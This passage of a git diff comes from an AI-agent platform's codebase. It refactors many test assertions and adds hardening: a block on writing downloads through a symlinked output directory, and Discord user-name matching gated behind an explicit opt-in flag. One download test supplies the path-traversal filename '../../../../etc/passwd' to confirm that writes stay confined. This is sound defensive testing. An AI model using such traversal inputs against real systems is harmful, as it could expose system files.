expect(path.normalize(res.path)).toContain(path.normalize(expectedDownloadsTail)); expect(tmpDirMocks.resolvePreferredOpenClawTmpDir).toHaveBeenCalled(); @@ -296,15 +332,51 @@ describe("pw-tools-core", () => { suggestedFilename: "../../../../etc/passwd", }); expect(typeof outPath).toBe("string"); - expect(path.dirname(res.path)).toBe( + expect(path.dirname(outPath)).not.toBe( path.resolve(path.join(path.sep, "tmp", "openclaw-preferred", "downloads")), ); - expect(path.basename(outPath)).toBe(path.basename(res.path)); + expect(path.basename(outPath)).toContain(path.basename(res.path)); + expect(path.basename(outPath)).toMatch(/\.part$/); await expect(fs.readFile(res.path, "utf8")).resolves.toBe("download-content"); expect(path.normalize(res.path)).toContain( path.normalize(`${path.join("tmp", "openclaw-preferred", "downloads")}${path.sep}`), ); }); + + it.runIf(process.platform !== "win32")( + "rejects implicit downloads when the output directory is a symlink", + async () => { + await withTempDir(async (tempDir) => { + const outsideDir = path.join(tempDir, "outside"); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.symlink(outsideDir, path.join(tempDir, "downloads")); + tmpDirMocks.resolvePreferredOpenClawTmpDir.mockReturnValue(tempDir); + + const harness = createDownloadEventHarness(); + const saveAs = vi.fn(async (outPath: string) => { + await fs.writeFile(outPath, "should-not-write", "utf8"); + }); + + const p = mod.waitForDownloadViaPlaywright({ + cdpUrl: "http://127.0.0.1:18792", + targetId: "T1", + timeoutMs: 1000, + }); + + await Promise.resolve(); + harness.expectArmed(); + harness.trigger({ + url: () => "https://example.com/file.bin", + suggestedFilename: () => "file.bin", + saveAs, + }); + + await expect(p).rejects.toThrow(/output directory/i); + expect(saveAs).not.toHaveBeenCalled(); + await expect(fs.readdir(outsideDir)).resolves.toEqual([]); + }); + }, + ); it("waits for a matching response and returns its body", async () => { let responseHandler: ((resp: unknown) => void) | undefined; const on = vi.fn((event: string, handler: (resp: unknown) => void) => { diff --git a/extensions/browser/src/browser/routes/agent.act.download.ts b/extensions/browser/src/browser/routes/agent.act.download.ts index e186683d053..2cb6b5e6f9a 100644 --- a/extensions/browser/src/browser/routes/agent.act.download.ts +++ b/extensions/browser/src/browser/routes/agent.act.download.ts @@ -63,6 +63,7 @@ export function registerBrowserAgentActDownloadRoutes( const result = await pw.waitForDownloadViaPlaywright({ ...requestBase, path: downloadPath, + rootDir: DEFAULT_DOWNLOAD_DIR, }); res.json({ ok: true, targetId: tab.targetId, download: result }); }, @@ -113,6 +114,7 @@ export function registerBrowserAgentActDownloadRoutes( ...requestBase, ref, path: downloadPath, + rootDir: DEFAULT_DOWNLOAD_DIR, }); res.json({ ok: true, targetId: tab.targetId, download: result }); }, diff --git a/extensions/browser/src/browser/routes/output-paths.ts b/extensions/browser/src/browser/routes/output-paths.ts index 505c4ec6322..57e64da5a67 100644 --- a/extensions/browser/src/browser/routes/output-paths.ts +++ b/extensions/browser/src/browser/routes/output-paths.ts @@ -1,9 +1,9 @@ -import fs from "node:fs/promises"; +import { ensureOutputDirectory } from "../output-directories.js"; import { pathScope } from "./path-output.js"; import type { BrowserResponse } from "./types.js"; export async function ensureOutputRootDir(rootDir: string): Promise { - await fs.mkdir(rootDir, { recursive: true }); + await ensureOutputDirectory(rootDir); } export async function resolveWritableOutputPathOrRespond(params: { diff --git a/extensions/browser/src/sdk-security-runtime.ts b/extensions/browser/src/sdk-security-runtime.ts index 6ed75ed927b..f64a1d4b641 100644 --- a/extensions/browser/src/sdk-security-runtime.ts +++ b/extensions/browser/src/sdk-security-runtime.ts @@ -3,6 +3,7 @@ export { ensurePortAvailable, extractErrorCode, formatErrorMessage, + ensureAbsoluteDirectory, hasProxyEnvConfigured, isNotFoundPathError, isPathInside, diff --git a/extensions/deepinfra/provider-models.test.ts b/extensions/deepinfra/provider-models.test.ts index 07bd7b0a61e..a133fcad38f 100644 --- a/extensions/deepinfra/provider-models.test.ts +++ b/extensions/deepinfra/provider-models.test.ts @@ -59,9 +59,14 @@ async function withFetchPathTest( describe("discoverDeepInfraModels", () => { it("returns static catalog in test environment", async () => { const models = await discoverDeepInfraModels(); + const modelIds = models.map((m) => m.id); + const streamingUsageIncompatibleModelIds = models + .filter((m) => !m.compat?.supportsUsageInStreaming) + .map((m) => m.id); + expect(DEEPINFRA_DEFAULT_MODEL_REF).toBe("deepinfra/deepseek-ai/DeepSeek-V3.2"); - expect(models.some((m) => m.id === "deepseek-ai/DeepSeek-V3.2")).toBe(true); - expect(models.every((m) => m.compat?.supportsUsageInStreaming)).toBe(true); + expect(modelIds).toContain("deepseek-ai/DeepSeek-V3.2"); + expect(streamingUsageIncompatibleModelIds).toEqual([]); }); it("fetches DeepInfra's curated LLM catalog and parses model metadata", async () => { @@ -144,7 +149,7 @@ describe("discoverDeepInfraModels", () => { await withFetchPathTest(mockFetch, async () => { const models = await discoverDeepInfraModels(); - expect(models.some((m) => m.id === "deepseek-ai/DeepSeek-V3.2")).toBe(true); + expect(models.map((m) => m.id)).toContain("deepseek-ai/DeepSeek-V3.2"); }); }); diff --git a/extensions/deepseek/deepseek.live.test.ts b/extensions/deepseek/deepseek.live.test.ts index 5816aa0c131..f68fe2b87b4 100644 --- a/extensions/deepseek/deepseek.live.test.ts +++ b/extensions/deepseek/deepseek.live.test.ts @@ -142,6 +142,9 @@ describeLive("deepseek plugin live", () => { }; let capturedPayload: Record | undefined; const streamFn = createDeepSeekV4ThinkingWrapper(streamSimple, "high"); + if (!streamFn) { + throw new Error("expected DeepSeek V4 thinking stream wrapper"); + } const stream = streamFn(resolveDeepSeekV4LiveModel(), context, { apiKey: DEEPSEEK_KEY, @@ -202,6 +205,9 @@ describeLive("deepseek plugin live", () => { }; let capturedPayload: Record | undefined; const streamFn = createDeepSeekV4ThinkingWrapper(streamSimple, "high"); + if (!streamFn) { + throw new Error("expected DeepSeek V4 thinking stream wrapper"); + } const stream = streamFn(resolveDeepSeekV4LiveModel(), context, { apiKey: DEEPSEEK_KEY, diff --git a/extensions/discord/src/channel.message-adapter.test.ts b/extensions/discord/src/channel.message-adapter.test.ts index fc0a489b2a0..31ecd8878c5 100644 --- a/extensions/discord/src/channel.message-adapter.test.ts +++ b/extensions/discord/src/channel.message-adapter.test.ts @@ -32,7 +32,7 @@ describe("discord channel message adapter", () => { const proveText = async () => { resetDiscordOutboundMocks(hoisted); - const result = await adapter!.send!.text!({ + const result = await adapter.send!.text!({ cfg: {}, to: "channel:123456", text: "hello", @@ -49,7 +49,7 @@ describe("discord channel message adapter", () => { const proveMedia = async () => { resetDiscordOutboundMocks(hoisted); - const result = await adapter!.send!.media!({ + const result = await adapter.send!.media!({ cfg: {}, to: "channel:123456", text: "caption", @@ -69,7 +69,7 @@ describe("discord channel message adapter", () => { const provePayload = async () => { resetDiscordOutboundMocks(hoisted); - const result = await adapter!.send!.payload!({ + const result = await adapter.send!.payload!({ cfg: {}, to: "channel:123456", text: "payload", @@ -86,7 +86,7 @@ describe("discord channel message adapter", () => { const proveReplyThreadSilent = async () => { resetDiscordOutboundMocks(hoisted); - const result = await adapter!.send!.text!({ + const result = await adapter.send!.text!({ cfg: {}, to: "channel:parent-1", text: "threaded", @@ -110,7 +110,7 @@ describe("discord channel message adapter", () => { await verifyChannelMessageAdapterCapabilityProofs({ adapterName: "discordMessageAdapter", - adapter: adapter!, + adapter: adapter, proofs: { text: proveText, media: proveMedia, @@ -119,7 +119,7 @@ describe("discord channel message adapter", () => { replyTo: proveReplyThreadSilent, thread: proveReplyThreadSilent, messageSendingHooks: () => { - expect(adapter!.send!.text).toBeTypeOf("function"); + expect(adapter.send!.text).toBeTypeOf("function"); }, }, }); diff --git a/extensions/discord/src/channel.test.ts b/extensions/discord/src/channel.test.ts index 4f06904e645..b2c0d927193 100644 --- a/extensions/discord/src/channel.test.ts +++ b/extensions/discord/src/channel.test.ts @@ -501,7 +501,7 @@ describe("discordPlugin outbound", () => { includeApplication: true, }), ); - expect(statusPatches.some((patch) => "bot" in patch || "application" in patch)).toBe(false); + expect(statusPatches.filter((patch) => "bot" in patch || "application" in patch)).toEqual([]); resolveProbe({ ok: true, diff --git a/extensions/discord/src/client.proxy.test.ts b/extensions/discord/src/client.proxy.test.ts index 64e244cf3aa..611ce8007b4 100644 --- a/extensions/discord/src/client.proxy.test.ts +++ b/extensions/discord/src/client.proxy.test.ts @@ -44,7 +44,8 @@ describe("createDiscordRestClient proxy support", () => { options?: { fetch?: typeof fetch }; }; - expect(requestClient.options?.fetch).toEqual(expect.any(Function)); + expect(makeProxyFetchMock).toHaveBeenCalledWith("http://127.0.0.1:8080"); + expect(requestClient.options?.fetch).toBe(makeProxyFetchMock.mock.results[0]?.value); expect(requestClient.customFetch).toBe(requestClient.options?.fetch); }); @@ -119,7 +120,7 @@ describe("createDiscordRestClient proxy support", () => { }; expect(makeProxyFetchMock).toHaveBeenCalledWith("http://[::1]:8080"); - expect(requestClient.options?.fetch).toEqual(expect.any(Function)); + expect(requestClient.options?.fetch).toBe(makeProxyFetchMock.mock.results[0]?.value); }); it("serializes multipart media with undici-compatible FormData for proxy fetches", async () => { diff --git a/extensions/discord/src/monitor/agent-components.wildcard.test.ts b/extensions/discord/src/monitor/agent-components.wildcard.test.ts index 36beea350d8..fb7cdfa1cad 100644 --- a/extensions/discord/src/monitor/agent-components.wildcard.test.ts +++ b/extensions/discord/src/monitor/agent-components.wildcard.test.ts @@ -50,7 +50,7 @@ describe("discord wildcard component registration ids", () => { const components = createWildcardComponents(); const customIds = components.map((component) => component.customId); - expect(customIds.every((id) => id !== "*")).toBe(true); + expect(customIds.filter((id) => id === "*")).toEqual([]); expect(new Set(customIds).size).toBe(customIds.length); }); diff --git a/extensions/discord/src/monitor/provider.allowlist.test.ts b/extensions/discord/src/monitor/provider.allowlist.test.ts index c0164e7cef1..070c96dbeb7 100644 --- a/extensions/discord/src/monitor/provider.allowlist.test.ts +++ b/extensions/discord/src/monitor/provider.allowlist.test.ts @@ -1,3 +1,4 @@ +import type { DiscordAccountConfig } from "openclaw/plugin-sdk/config-types"; import { createNonExitingRuntimeEnv } from "openclaw/plugin-sdk/plugin-test-runtime"; import { beforeEach, describe, expect, it, vi } from "vitest"; import * as resolveChannelsModule from "../resolve-channels.js"; @@ -44,6 +45,7 @@ describe("resolveDiscordAllowlistConfig", () => { }, fetcher: vi.fn() as unknown as typeof fetch, runtime, + discordConfig: { dangerouslyAllowNameMatching: true } as DiscordAccountConfig, }); expect(result.allowFrom).toEqual(["111", "*"]); @@ -76,6 +78,7 @@ describe("resolveDiscordAllowlistConfig", () => { }, fetcher: vi.fn() as unknown as typeof fetch, runtime, + discordConfig: { dangerouslyAllowNameMatching: true } as DiscordAccountConfig, }); const logs = (runtime.log as ReturnType).mock.calls @@ -135,6 +138,7 @@ describe("resolveDiscordAllowlistConfig", () => { }, fetcher: vi.fn() as unknown as typeof fetch, runtime, + discordConfig: {} as DiscordAccountConfig, }); const logs = (runtime.log as ReturnType).mock.calls @@ -146,4 +150,68 @@ describe("resolveDiscordAllowlistConfig", () => { "1456350064065904867/1456744319972282449 (guild:Friends of the Crustacean 🦞🤝; channel:maintainers)", ); }); + + it("keeps user allowlist names unresolved unless name matching is enabled", async () => { + const runtime = createNonExitingRuntimeEnv(); + const result = await resolveDiscordAllowlistConfig({ + token: "token", + allowFrom: ["Alice", "111", "*"], + guildEntries: { + "*": { + users: ["Bob", "999"], + channels: { + "*": { + users: ["Carol", "888"], + }, + }, + }, + }, + fetcher: vi.fn() as unknown as typeof fetch, + runtime, + discordConfig: {} as DiscordAccountConfig, + }); + + expect(result.allowFrom).toEqual(["Alice", "111", "*"]); + expect(result.guildEntries?.["*"]?.users).toEqual(["Bob", "999"]); + expect(result.guildEntries?.["*"]?.channels?.["*"]?.users).toEqual(["Carol", "888"]); + expect(resolveUsersModule.resolveDiscordUserAllowlist).not.toHaveBeenCalled(); + }); + + it("still resolves guild and channel ids when name matching is disabled", async () => { + vi.spyOn(resolveChannelsModule, "resolveDiscordChannelAllowlist").mockResolvedValueOnce([ + { + input: "ops/general", + resolved: true, + guildId: "145", + guildName: "Ops", + channelId: "246", + channelName: "general", + }, + ]); + const runtime = createNonExitingRuntimeEnv(); + + const result = await resolveDiscordAllowlistConfig({ + token: "token", + allowFrom: ["Alice"], + guildEntries: { + ops: { + users: ["Bob"], + channels: { + general: { + users: ["Carol"], + }, + }, + }, + }, + fetcher: vi.fn() as unknown as typeof fetch, + runtime, + discordConfig: {} as DiscordAccountConfig, + }); + + expect(result.allowFrom).toEqual(["Alice"]); + expect(result.guildEntries?.["145"]?.channels?.["246"]?.users).toEqual(["Carol"]); + expect(result.guildEntries?.ops?.users).toEqual(["Bob"]); + expect(resolveChannelsModule.resolveDiscordChannelAllowlist).toHaveBeenCalledTimes(1); + expect(resolveUsersModule.resolveDiscordUserAllowlist).not.toHaveBeenCalled(); + }); }); diff --git a/extensions/discord/src/monitor/provider.allowlist.ts b/extensions/discord/src/monitor/provider.allowlist.ts index 5112f51699f..b759f3636da 100644 --- a/extensions/discord/src/monitor/provider.allowlist.ts +++ b/extensions/discord/src/monitor/provider.allowlist.ts @@ -5,7 +5,8 @@ import { patchAllowlistUsersInConfigEntries, summarizeMapping, } from "openclaw/plugin-sdk/allow-from"; -import type { DiscordGuildEntry } from "openclaw/plugin-sdk/config-types"; +import type { DiscordAccountConfig, DiscordGuildEntry } from "openclaw/plugin-sdk/config-types"; +import { isDangerousNameMatchingEnabled } from "openclaw/plugin-sdk/dangerous-name-runtime"; import type { RuntimeEnv } from "openclaw/plugin-sdk/runtime-env"; import { formatErrorMessage } from "openclaw/plugin-sdk/ssrf-runtime"; import { normalizeStringEntries } from "openclaw/plugin-sdk/text-runtime"; @@ -356,6 +357,7 @@ export async function resolveDiscordAllowlistConfig(params: { token: string; guildEntries: unknown; allowFrom: unknown; + discordConfig: DiscordAccountConfig; fetcher: typeof fetch; runtime: RuntimeEnv; }): Promise<{ guildEntries: GuildEntries | undefined; allowFrom: string[] | undefined }> { @@ -371,20 +373,22 @@ export async function resolveDiscordAllowlistConfig(params: { }); } - allowFrom = await resolveAllowFromByUserAllowlist({ - token: params.token, - allowFrom, - fetcher: params.fetcher, - runtime: params.runtime, - }); - - if (hasGuildEntries(guildEntries)) { - guildEntries = await resolveGuildEntriesByUserAllowlist({ + if (isDangerousNameMatchingEnabled(params.discordConfig)) { + allowFrom = await resolveAllowFromByUserAllowlist({ token: params.token, - guildEntries, + allowFrom, fetcher: params.fetcher, runtime: params.runtime, }); + + if (hasGuildEntries(guildEntries)) { + guildEntries = await resolveGuildEntriesByUserAllowlist({ + token: params.token, + guildEntries, + fetcher: params.fetcher, + runtime: params.runtime, + }); + } } return { diff --git a/extensions/discord/src/monitor/provider.ts b/extensions/discord/src/monitor/provider.ts index 285def4c0e2..5ca2c83cce2 100644 --- a/extensions/discord/src/monitor/provider.ts +++ b/extensions/discord/src/monitor/provider.ts @@ -279,6 +279,7 @@ export async function monitorDiscordProvider(opts: MonitorDiscordOpts = {}) { token, guildEntries, allowFrom, + discordConfig: discordCfg, fetcher: discordRestFetch, runtime, }); diff --git a/extensions/discord/src/resolve-users.test.ts b/extensions/discord/src/resolve-users.test.ts index 222d6589351..95371bc872d 100644 --- a/extensions/discord/src/resolve-users.test.ts +++ b/extensions/discord/src/resolve-users.test.ts @@ -217,6 +217,6 @@ describe("resolveDiscordUserAllowlist", () => { }); expect(results).toHaveLength(2); - expect(results.every((r) => !r.resolved)).toBe(true); + expect(results.map((result) => result.resolved)).toEqual([false, false]); }); }); diff --git a/extensions/discord/src/voice/manager.e2e.test.ts b/extensions/discord/src/voice/manager.e2e.test.ts index c8108019654..59d178e238b 100644 --- a/extensions/discord/src/voice/manager.e2e.test.ts +++ b/extensions/discord/src/voice/manager.e2e.test.ts @@ -276,7 +276,7 @@ describe("DiscordVoiceManager", () => { const getLastAudioPlayer = () => { const player = createAudioPlayerMock.mock.results.at(-1)?.value as - | { state: { status: string } } + | { state: { status: string }; stop: ReturnType } | undefined; if (!player) { throw new Error("expected Discord voice audio player to be created"); diff --git a/extensions/feishu/src/config-schema.test.ts b/extensions/feishu/src/config-schema.test.ts index d234ab0bf19..2656f723a22 100644 --- a/extensions/feishu/src/config-schema.test.ts +++ b/extensions/feishu/src/config-schema.test.ts @@ -7,7 +7,7 @@ function expectSchemaIssue( ) { expect(result.success).toBe(false); if (!result.success) { - expect(result.error.issues.some((issue) => issue.path.join(".") === issuePath)).toBe(true); + expect(result.error.issues.map((issue) => issue.path.join("."))).toContain(issuePath); } } @@ -315,9 +315,7 @@ describe("FeishuConfigSchema defaultAccount", () => { expect(result.success).toBe(false); if (!result.success) { - expect(result.error.issues.some((issue) => issue.path.join(".") === "defaultAccount")).toBe( - true, - ); + expect(result.error.issues.map((issue) => issue.path.join("."))).toContain("defaultAccount"); } }); }); diff --git a/extensions/feishu/src/docx.test.ts b/extensions/feishu/src/docx.test.ts index c8f9438262c..e2de98cdcfb 100644 --- a/extensions/feishu/src/docx.test.ts +++ b/extensions/feishu/src/docx.test.ts @@ -166,7 +166,6 @@ describe("feishu_doc image fetch hardening", () => { if (!tool) { throw new Error("expected Feishu doc tool"); } - expect(tool.execute).toEqual(expect.any(Function)); return tool; } diff --git a/extensions/feishu/src/monitor.reaction.test.ts b/extensions/feishu/src/monitor.reaction.test.ts index 23815ad9726..381eef9f402 100644 --- a/extensions/feishu/src/monitor.reaction.test.ts +++ b/extensions/feishu/src/monitor.reaction.test.ts @@ -237,6 +237,12 @@ function createMention(params: { openId: string; name: string; key?: string }): }; } +function mentionOpenIds(event: FeishuMessageEvent): string[] { + return (event.message.mentions ?? []).flatMap((mention) => + mention.id.open_id ? [mention.id.open_id] : [], + ); +} + function createFeishuMonitorRuntime(params?: { createInboundDebouncer?: PluginRuntime["channel"]["debounce"]["createInboundDebouncer"]; resolveInboundDebounceMs?: PluginRuntime["channel"]["debounce"]["resolveInboundDebounceMs"]; @@ -541,9 +547,9 @@ describe("Feishu inbound debounce regressions", () => { await vi.advanceTimersByTimeAsync(25); const dispatched = expectSingleDispatchedEvent(); - const mergedMentions = dispatched.message.mentions ?? []; - expect(mergedMentions.some((mention) => mention.id.open_id === "ou_bot")).toBe(true); - expect(mergedMentions.some((mention) => mention.id.open_id === "ou_user_a")).toBe(false); + const mergedOpenIds = mentionOpenIds(dispatched); + expect(mergedOpenIds).toContain("ou_bot"); + expect(mergedOpenIds).not.toContain("ou_user_a"); }); it("passes prefetched botName through to handleFeishuMessage", async () => { @@ -601,8 +607,7 @@ describe("Feishu inbound debounce regressions", () => { const { dispatched, parsed } = expectParsedFirstDispatchedEvent(); expect(parsed.mentionedBot).toBe(true); expect(parsed.mentionTargets).toBeUndefined(); - const mergedMentions = dispatched.message.mentions ?? []; - expect(mergedMentions.every((mention) => mention.id.open_id === "ou_bot")).toBe(true); + expect(mentionOpenIds(dispatched)).toEqual(["ou_bot"]); }); it("preserves bot mention signal when the latest merged message has no mentions", async () => { diff --git a/extensions/feishu/src/reply-dispatcher.test.ts b/extensions/feishu/src/reply-dispatcher.test.ts index 8cc29f5ee0e..85d36c61721 100644 --- a/extensions/feishu/src/reply-dispatcher.test.ts +++ b/extensions/feishu/src/reply-dispatcher.test.ts @@ -1138,7 +1138,7 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { const updateTexts = streamingInstances[0].update.mock.calls.map((call: unknown[]) => typeof call[0] === "string" ? call[0] : "", ); - expect(updateTexts.some((text) => text.includes("🔎 Web Search"))).toBe(true); + expect(updateTexts).toEqual(expect.arrayContaining([expect.stringContaining("🔎 Web Search")])); expect(streamingInstances[0].close).toHaveBeenCalledWith("final answer", { note: "Agent: agent", }); @@ -1171,9 +1171,11 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { const updateTexts = streamingInstances[0].update.mock.calls.map((call: unknown[]) => typeof call[0] === "string" ? call[0] : "", ); - expect( - updateTexts.some((text) => text.includes("🛠️ Exec: run tests, `pnpm test -- --watch=false`")), - ).toBe(true); + expect(updateTexts).toEqual( + expect.arrayContaining([ + expect.stringContaining("🛠️ Exec: run tests, `pnpm test -- --watch=false`"), + ]), + ); }); it("omits message-like tools from streaming card status", async () => { @@ -1199,7 +1201,7 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { const updateTexts = streamingInstances[0].update.mock.calls.map((call: unknown[]) => typeof call[0] === "string" ? call[0] : "", ); - expect(updateTexts.some((text) => text.includes("Message"))).toBe(false); + expect(updateTexts).not.toEqual(expect.arrayContaining([expect.stringContaining("Message")])); }); it("does not suppress a later final after error closeout", async () => { diff --git a/extensions/feishu/src/security-audit.test.ts b/extensions/feishu/src/security-audit.test.ts index edeb0e29aeb..e6109a72cfe 100644 --- a/extensions/feishu/src/security-audit.test.ts +++ b/extensions/feishu/src/security-audit.test.ts @@ -47,15 +47,13 @@ describe("Feishu security audit findings", () => { }, ])("$name", ({ cfg, expectedFinding, expectedNoFinding }) => { const findings = collectFeishuSecurityAuditFindings({ cfg }); + const findingKeys = findings.map((finding) => `${finding.checkId}:${finding.severity}`); + const checkIds = findings.map((finding) => finding.checkId); if (expectedFinding) { - expect( - findings.some( - (finding) => finding.checkId === expectedFinding && finding.severity === "warn", - ), - ).toBe(true); + expect(findingKeys).toContain(`${expectedFinding}:warn`); } if (expectedNoFinding) { - expect(findings.some((finding) => finding.checkId === expectedNoFinding)).toBe(false); + expect(checkIds).not.toContain(expectedNoFinding); } }); }); diff --git a/extensions/google-meet/index.test.ts b/extensions/google-meet/index.test.ts index c216dd989ea..d0250e3ffbf 100644 --- a/extensions/google-meet/index.test.ts +++ b/extensions/google-meet/index.test.ts @@ -1101,7 +1101,10 @@ describe("google-meet plugin", () => { "/drive/v3/files/doc-1/export", "/drive/v3/files/doc-2/export", ]); - expect(driveCalls.every((url) => url.searchParams.get("mimeType") === "text/plain")).toBe(true); + expect(driveCalls.map((url) => url.searchParams.get("mimeType"))).toEqual([ + "text/plain", + "text/plain", + ]); }); it("fetches only the latest Meet conference record for a meeting", async () => { diff --git a/extensions/google-meet/src/calendar.ts b/extensions/google-meet/src/calendar.ts index 0078b8eb0d9..ba5963be63f 100644 --- a/extensions/google-meet/src/calendar.ts +++ b/extensions/google-meet/src/calendar.ts @@ -138,10 +138,19 @@ function chooseBestMeetCalendarEvent( now: Date, ): GoogleMeetCalendarLookupResult["event"] | undefined { const nowMs = now.getTime(); - return events - .filter((event) => event.status !== "cancelled") - .filter((event) => extractGoogleMeetUriFromCalendarEvent(event)) - .toSorted((left, right) => rankCalendarEvent(left, nowMs) - rankCalendarEvent(right, nowMs))[0]; + let selected: GoogleMeetCalendarEvent | undefined; + let selectedRank = Number.POSITIVE_INFINITY; + for (const event of events) { + if (event.status === "cancelled" || !extractGoogleMeetUriFromCalendarEvent(event)) { + continue; + } + const rank = rankCalendarEvent(event, nowMs); + if (!selected || rank < selectedRank) { + selected = event; + selectedRank = rank; + } + } + return selected; } async function fetchGoogleCalendarEvents(params: { diff --git a/extensions/google/google-shared.test-helpers.ts b/extensions/google/google-shared.test-helpers.ts index e710c742a4e..9023853c1a2 100644 --- a/extensions/google/google-shared.test-helpers.ts +++ b/extensions/google/google-shared.test-helpers.ts @@ -19,9 +19,9 @@ function makeZeroUsageSnapshot() { } export const asRecord = (value: unknown): Record => { - expect(value).toBeTruthy(); - expect(typeof value).toBe("object"); - expect(Array.isArray(value)).toBe(false); + if (!value || typeof value !== "object" || Array.isArray(value)) { + throw new Error("expected record"); + } return value as Record; }; diff --git a/extensions/google/manifest.test.ts b/extensions/google/manifest.test.ts index 0d16b6d7db1..663ad4edaa7 100644 --- a/extensions/google/manifest.test.ts +++ b/extensions/google/manifest.test.ts @@ -2,6 +2,14 @@ import { readFileSync } from "node:fs"; import { describe, expect, it } from "vitest"; type GoogleManifest = { + modelIdNormalization?: { + providers?: Record< + string, + { + aliases?: Record; + } + >; + }; modelCatalog?: { suppressions?: Array<{ provider?: string; @@ -83,4 +91,14 @@ describe("google manifest model catalog", () => { expect(suppressionRefs).not.toContain("google/gemini-2.5-pro"); expect(suppressionRefs).not.toContain("google/gemini-3.1-pro-preview"); }); + + it("normalizes retired Gemini 3 Pro aliases for all Google chat providers", () => { + const manifest = loadManifest(); + + for (const provider of GOOGLE_CHAT_PROVIDERS) { + expect(manifest.modelIdNormalization?.providers?.[provider]?.aliases).toMatchObject({ + "gemini-3-pro": "gemini-3.1-pro-preview", + }); + } + }); }); diff --git a/extensions/google/openclaw.plugin.json b/extensions/google/openclaw.plugin.json index 3289d21678d..24111760b7c 100644 --- a/extensions/google/openclaw.plugin.json +++ b/extensions/google/openclaw.plugin.json @@ -18,6 +18,16 @@ "gemini-3.1-flash-preview": "gemini-3-flash-preview" } }, + "google-gemini-cli": { + "aliases": { + "gemini-3-pro": "gemini-3.1-pro-preview", + "gemini-3-flash": "gemini-3-flash-preview", + "gemini-3.1-pro": "gemini-3.1-pro-preview", + "gemini-3.1-flash-lite": "gemini-3.1-flash-lite-preview", + "gemini-3.1-flash": "gemini-3-flash-preview", + "gemini-3.1-flash-preview": "gemini-3-flash-preview" + } + }, "google-vertex": { "aliases": { "gemini-3-pro": "gemini-3.1-pro-preview", diff --git a/extensions/google/video-generation-provider.test.ts b/extensions/google/video-generation-provider.test.ts index 4549351ce4f..25ba109a3e0 100644 --- a/extensions/google/video-generation-provider.test.ts +++ b/extensions/google/video-generation-provider.test.ts @@ -235,7 +235,9 @@ describe("google video generation provider", () => { }); const [{ downloadPath }] = downloadMock.mock.calls[0] ?? [{}]; - expect(path.basename(String(downloadPath))).toBe("video-1.mp4"); + const downloadBaseName = path.basename(String(downloadPath)); + expect(downloadBaseName).toContain("video-1.mp4"); + expect(downloadBaseName).toMatch(/\.part$/); expect(result.videos[0]?.buffer).toEqual(Buffer.from("sdk-video")); expect(result.videos[0]?.fileName).toBe("video-1.mp4"); }); diff --git a/extensions/irc/src/protocol.test.ts b/extensions/irc/src/protocol.test.ts index 8be7c4ff06c..655ae33da8d 100644 --- a/extensions/irc/src/protocol.test.ts +++ b/extensions/irc/src/protocol.test.ts @@ -39,6 +39,10 @@ describe("irc protocol", () => { it("splits long text on boundaries", () => { const chunks = splitIrcText("a ".repeat(300), 120); expect(chunks.length).toBeGreaterThan(2); - expect(chunks.every((chunk) => chunk.length <= 120)).toBe(true); + expect( + chunks + .map((chunk, index) => ({ index, length: chunk.length })) + .filter((chunk) => chunk.length > 120), + ).toEqual([]); }); }); diff --git a/extensions/kilocode/provider-models.test.ts b/extensions/kilocode/provider-models.test.ts index 58de9b6f612..72c7f663f50 100644 --- a/extensions/kilocode/provider-models.test.ts +++ b/extensions/kilocode/provider-models.test.ts @@ -121,7 +121,7 @@ describe("discoverKilocodeModels", () => { it("returns static catalog in test environment", async () => { const models = await discoverKilocodeModels(); expect(models.length).toBeGreaterThan(0); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); }); it("static catalog has correct defaults for kilo/auto", async () => { @@ -185,7 +185,7 @@ describe("discoverKilocodeModels (fetch path)", () => { await withFetchPathTest(mockFetch, async () => { const models = await discoverKilocodeModels(); expect(models.length).toBeGreaterThan(0); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); }); }); @@ -197,7 +197,7 @@ describe("discoverKilocodeModels (fetch path)", () => { await withFetchPathTest(mockFetch, async () => { const models = await discoverKilocodeModels(); expect(models.length).toBeGreaterThan(0); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); }); }); @@ -211,8 +211,10 @@ describe("discoverKilocodeModels (fetch path)", () => { }); await withFetchPathTest(mockFetch, async () => { const models = await discoverKilocodeModels(); - expect(models.some((m) => m.id === "kilo/auto")).toBe(true); - expect(models.some((m) => m.id === "anthropic/claude-sonnet-4")).toBe(true); + expect(requireModelById(models, "kilo/auto").id).toBe("kilo/auto"); + expect(requireModelById(models, "anthropic/claude-sonnet-4").id).toBe( + "anthropic/claude-sonnet-4", + ); }); }); @@ -256,7 +258,9 @@ describe("discoverKilocodeModels (fetch path)", () => { const auto = requireModelById(models, "kilo/auto"); expect(auto.name).toBe("Kilo: Auto"); expect(auto.cost.input).toBeCloseTo(5.0); - expect(models.some((m) => m.id === "anthropic/claude-sonnet-4")).toBe(true); + expect(requireModelById(models, "anthropic/claude-sonnet-4").id).toBe( + "anthropic/claude-sonnet-4", + ); }); }); }); diff --git a/extensions/line/src/webhook-node.test.ts b/extensions/line/src/webhook-node.test.ts index 3bb22bfa78f..d229e6a439d 100644 --- a/extensions/line/src/webhook-node.test.ts +++ b/extensions/line/src/webhook-node.test.ts @@ -1,5 +1,6 @@ import crypto from "node:crypto"; import type { IncomingMessage, ServerResponse } from "node:http"; +import type { RuntimeEnv } from "openclaw/plugin-sdk/runtime-env"; import { createMockIncomingRequest } from "openclaw/plugin-sdk/test-env"; import { describe, expect, it, vi } from "vitest"; import { createLineNodeWebhookHandler, readLineWebhookRequestBody } from "./webhook-node.js"; @@ -29,6 +30,20 @@ function createRes() { const SECRET = "secret"; +type RuntimeEnvMock = RuntimeEnv & { + error: ReturnType void>>; + exit: ReturnType void>>; + log: ReturnType void>>; +}; + +function createRuntimeMock(): RuntimeEnvMock { + return { + error: vi.fn<(...args: unknown[]) => void>(), + exit: vi.fn<(code: number) => void>(), + log: vi.fn<(...args: unknown[]) => void>(), + }; +} + function createMiddlewareRes() { const res = { status: vi.fn(), @@ -42,7 +57,7 @@ function createMiddlewareRes() { function createPostWebhookTestHarness(rawBody: string, secret = "secret") { const bot = { handleWebhook: vi.fn(async () => {}) }; - const runtime = { log: vi.fn(), error: vi.fn(), 